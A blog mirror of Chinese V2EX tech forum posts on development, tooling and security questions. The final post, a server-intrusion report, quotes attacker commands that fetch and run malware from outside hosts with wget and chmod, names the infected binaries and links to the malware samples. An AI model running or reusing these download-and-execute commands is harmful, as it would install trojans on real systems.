Sunday, July 4, 2021

V2EX - 技术

V2EX - 技术


自己通过 xcode 连接数据线安装到 iPhone 上的 APP 有过期时间吗

Posted: 04 Jul 2021 04:18 AM PDT

使用 flutter 开发了一个公司内部使用的 APP,就几个人用,打算通过 xcode 直接 build 安装到手机上,就是不知道会不会出现 APP 哪天忽然过期了使用不了了,我又不在公司的无法重新打包,就无法使用了的情况。

我没有成为苹果开发者,就是通过 apple id 账号登录的 xcode,在 xcode 的 Preferences -> Accounts -> Manage Certificates 弹窗里面的信息只有 Date Created 信息,Status 也是空的。

oppo a5 现在怎么刷机啊?

Posted: 04 Jul 2021 03:52 AM PDT

屏幕锁忘记了,音量-键 加 开机键,进入恢复模式,不管点清除数据还是刷机,都还是要屏幕密码。。。有没有刷过的人,教一下

js 都有 worker 线程,什么时候 Python 也能增强一下线程?

Posted: 04 Jul 2021 03:47 AM PDT

js 脚本都有 WebWorkers 线程,让人心动。
WebWorkers 允许开发者把长时间运行和密集计算型的任务放在后台执行而不会阻塞 UI,这会使得应用程序运行得更加流畅。甚至可以用于复杂的 3D 运算任务。
同时,WebWorker 传参方式也兼顾了安全性,比如可以序列化后再传递,或者直接转移参数对象的所有权。

反观 Python,我还在纠结它的 GIL 全局锁,不知道怎么处理 CPU 密集型操作?。

Win10 下最好用的看图软件是?

Posted: 04 Jul 2021 03:38 AM PDT

Win10 自带的相册太卡了,每次打开至少 1s 左右延迟(i5-9400 的配置在现在也不算过时吧),切换图片的时候感觉也没有 Win7 的图片管理器那么快,以前 Win7 时代那个图片管理器真好啊,都是秒开,macOS 按空格速览这种交互方式也很快,Win10 下有没有什么比较快且好用的看图软件?

怎么安全地在 web 前端存储私钥?

Posted: 04 Jul 2021 02:07 AM PDT

最近在看安全方面的知识,为了防止重放攻击,我查阅了一些资料。

also24 的回复说得非常棒。

单向的 https 只能保证你请求的银行真的是银行,但银行无法确定你是你。

加了 token 才能让银行知道你是你,但是银行不知道你带的东西是你自己带的,还是别人塞进你包里的。

加上 nonce 和签名,才能让银行知道这些东西全都是你带的,别人没有夹带,但是银行不知道这个你,是否是用 1 年前的你克隆出来的。

加上时间戳,银行才能确定面前的你确实是当前时间点真实存在你,东西也是你带的东西。

最后,稀奇古怪的加密又是什么呢? 答:你带的东西是一个保险箱~


但是我有一个疑问,产生签名是需要密钥的,那怎么安全地在 web 前端存储私钥呢?

CabloyJS 基于 EggJS 实现的模块编译与发布

Posted: 04 Jul 2021 01:36 AM PDT

背景

现在,EggJS被许多开发团队所采用。有的团队基于商业知识产权的考量,往往会提一个问题:是否可以把EggJS当中的代码编译打包,然后再把代码丑化?

模块编译的机制

  • EggJS为何不能便利的实现编译的特性?

EggJS中,代码文件都是通过约定代码位置的方式组织并加载的。也就是说,代码文件都放置在约定的目录结构当中,EggJS 在启动系统时,在约定的位置扫描加载约定的代码文件。因此,在这种机制下,不能便利的实现编译特性

  • CabloyJS是如何实现编译特性的?

EggJS作为企业级框架提供了足够灵活的机制,比如,允许上层框架提供自定义的加载器CabloyJS就是基于EggJS的这种机制实现了一套自定义的加载器

CabloyJS中,模块当中的代码文件都是通过require的方式显式组织并加载的。这种加载机制为模块内部的源码文件提供了清晰的调用依赖关系,因此我们就可以采用Webpack完成编译打包,以及丑化代码的工作

模块编译的意义

  1. 模块复用、构建生态:模块可单独编译,从而可以单独发布、单独部署,单独升级,从而促进 CabloyJS 整个生态圈的繁荣,进一步加速实际业务的开发
  2. 知识产权:模块可单独编译,也可以满足保护商业代码的需求

如何编译模块

# 进入模块所在目录 $ cd /path/to/module # 编译模块前端代码 $ npm run build:front # 编译模块后端代码 $ npm run build:backend 

编译参数

所有模块均采用缺省的编译参数,当然也可以提供自定义的编译参数,以模块test-party为例:

src/module/test-party/build/config.js

module.exports = {   front: {     productionSourceMap: false,     uglify: true,   },   backend: {     productionSourceMap: false,     uglify: true,   }, }; 
名称 说明
productionSourceMap 是否生成SourceMap文件
uglify 是否uglify代码

模块加载约定

在模块目录下,既有src源代码文件,也有dist打包文件。那么什么时候加载src,什么时候加载dist呢?

模块有两类:全局模块局部模块。这两类模块有不同的加载约定:

  1. 全局模块:位于项目的node_modules目录中,系统总是加载全局模块dist打包文件
  2. 局部模块:位于项目的src/module目录中,系统优先查找src目录并加载模块源码,如果没有找到则加载局部模块dist打包文件

理解了全局模块局部模块的代码加载约定,在将项目部署在生产环境时有利于做出正确的配置(主要的诉求就是:如何保护商业代码

最佳实践(模块前端)

在部署时,项目前端总是要进行整体编译,把所有全局模块局部模块的前端源码和前端资源都打包,然后输出到项目的dist目录

如果模块作为局部模块而存在,则不需要考虑模块前端的编译环节

如果模块要发布为全局模块,则必须先进行模块前端的编译

最佳实践(模块后端)

1. 不进行模块编译

如果没有保护商业代码的需求,那么就不用考虑模块编译的环节。在部署时,直接作为局部模块加载源码运行即可

2. 进行模块编译

如果要进行模块编译,那么在部署时有两个选择:

  • 作为局部模块
    1. 模块仍然位于项目的src/module目录
    2. 将模块编译后,在生产环境删除模块的src源码目录即可
  • 作为全局模块
    1. 将模块编译后,发布至公司的私有仓库
    2. 在项目中将模块作为全局模块安装至node_modules目录
    3. 如果没有私有仓库,也可以采用npm link机制安装为全局模块

模块发布

当项目中的模块代码稳定后,可以将模块公开发布,贡献到开源社区。也可以在公司内部建立 npm 私有仓库,然后把模块发布到私有仓库,形成公司资产,便于重复使用

$ cd /path/to/module $ npm run build:front $ npm run build:backend $ npm publish 

由于发布到 npm 仓库的模块将作为全局模块来使用,因此需要先编译模块的前端和后端

效果图(模块后端编译)

编译之前的源码结构

build-backend-before

编译之后的输出文件

build-backend-after

相关链接

CISSP 证书有没有不上培训课程自学拿到证书的?

Posted: 04 Jul 2021 12:50 AM PDT

是否有推荐的教学视频?

小白请问下在 vscode 里编辑,然后在浏览器中实时显示效果是怎么实现的?是用了什么扩展吗?

Posted: 04 Jul 2021 12:10 AM PDT

另外比如说这个扩展:Bracket Pair Colorizer 2

它的简介是:A customizable extension for colorizing matching brackets,有什么扩展能翻译一下这种简介吗?我英语不大行,希望万能的 V 友支支招哈哈

PostgreSQL 的 pg_try_advisory_xact_lock 正确使用姿势是什么

Posted: 03 Jul 2021 11:37 PM PDT

看到 pg_try_advisory_xact_lock (咨询锁)可以事务中免等待

实际场景是啥?

看很多描述是秒杀场景,那就拿秒杀来说,,一件商品,多人下单,那就是多个事物,只有一个人能下单(扣减库存)成功。

然后没拿到锁的呢?直接前端抛出个抢购失败的异常?然后刷新页面一看还有库存?业务代码逻辑自动重试?重试多少次呢?

因为很多场景其实并不都是极限秒杀场景(成百上千人抢),可能就是平常的一个商品,某个店铺搞了个活动(平台也不晓得)突然就大流量上来了。

就是不固定不定时毫无预兆的普通商品抢购,自动重试次数少了,刷新页面看还有库存。自动重试次数多了,那还不如事物里锁这条数据呢。

更具体的使用场景或姿势是啥?

pixel 有什么换机数据迁移的工具推荐

Posted: 03 Jul 2021 03:47 PM PDT

从 pixel 2 xl 到 pixel 3,恢复出厂重新初始设置的时候应用数据没有同步过去,进入系统之后使用 Google 自带的 set up my device 却显示 no device found, 试了各种方法无果。想要找一个好用的第三方迁移工具,或者可行的解决方案

请教各位大佬一个 shell 的脚本相关问题

Posted: 03 Jul 2021 12:40 PM PDT

首先感谢各位大佬观看以及解答(鞠躬感谢各位大佬.jpg )

其次阐述一下我的问题: (前提:非专业程序员『特小白的那种』,剪辑音频行当,想要写一个脚本替代重复工作)

脚本功能如下: 1.获取文件名称 2.获取当前时间 3.时间+文件名称为文字 4.检查当前目录下是否有相同目录 5.如果没有则执行创建,如果有相同名称文件目录则提示后返回第一步操作 6.创建文件夹后打开该文件夹 7.在时间+文件名称目录下创建固定目录 8.结束进程

代码如下:

#!/bin/bash read -p "请输入工程名称:" name echo "$name" time="date +%Y%m%d" touch "${time}${name}"

问题如下: 请问各位大佬为什么我的脚本代码在终端执行时执行到 echo "$name"就结束了? 这样创建变量文件夹不对吗? 请问有什么好的 shell 教程推荐吗?


感谢各位大佬阅读及回复(不知道为什么排版有些混乱,烦请见谅)

大伙常用什么查看 git 提交?命令行还是图形界面?

Posted: 03 Jul 2021 12:29 PM PDT

要浏览最近的提交,有什么方便的工具?

ip6tables 怎么设置仅放行同一网络(同一前缀)的请求

Posted: 03 Jul 2021 10:58 AM PDT

以前 ipv4 的话,只需要放行指定的几个内网的 ip 段就行了,但是 ipv6 的话统统都是公网,有什么办法能仅放行同一局域网下的请求吗,每次重连前缀都会变的,不可能每次连接后都改一次 ip6tables 。

人生第一次遇到服务器被入侵了,放了一个 DDOS 脚本进去,附病毒样本。

Posted: 02 Jul 2021 09:04 AM PDT

今天下午收到腾讯云安全通知,通知服务器被入侵了,然后去腾讯云看了一下,的确被日了。

系统的 5 个文件全被一个名叫:Elf32.Trojan.BillGates.da的病毒感染了,分别是:

/usr/bin/ps /usr/bin/lsof /usr/bin/netstat /usr/bin/bsd-port/getty /usr/bin/.sshd 

接着发现在 root 目录被下载了 3 个文件:20000 、conf.n 、Kabot,查了一下执行命令:

/bin/sh -c id;wget http://2w.kacdn.cn/20000;chmod 777 20000;./20000 /bin/sh -c id;wget http://117.24.13.169:881/KaBot;chmod 777 KaBot;./KaBot 

接着发现,这个木马向 www.id666.pw 这个地址发送请求,请求了 14 次。

想了一下是什么原因被入侵的,服务器没有发现被暴力破解,那屌毛也没有登陆服务器,提权也没发现,因为安全组入站只开放了 3000 这一个端口,出站没有限制任何流量。服务器上运行了 YApi 的程序,就是这个程序使用的 3000 端口,几乎可以排除是从 YApi Web 入侵的,因为 Web 只允许指定地区访问并且就只有两个城市加入了白名单,平时也是公司的人用,没有对外开放过。

截至被入侵前,服务器还有两个漏洞没处理,分别是:

  • OpenSSH XMSS Key 解析整数溢出漏洞
  • OpenSSL 拒绝服务漏洞(CVE-2021-3449)

所以也不能排除可能是因为这两个漏洞被日的,我把被感染的程序、病毒样本和木马文件打包了一下,有能力的大佬可以分析一下。

下载地址: https://ws28.cn/f/5tdnbv41qsg (只有 24 小时有效期)

因为服务器只有 YApi 一个程序和一个数据库,数据库有备份,YApi 可以重新下载。所以收到报警就直接重装了,不给这屌毛一丁点机会。

最后想问下大家平时都是怎么做安全的?这玩意防不胜防啊我丢!

No comments:

Post a Comment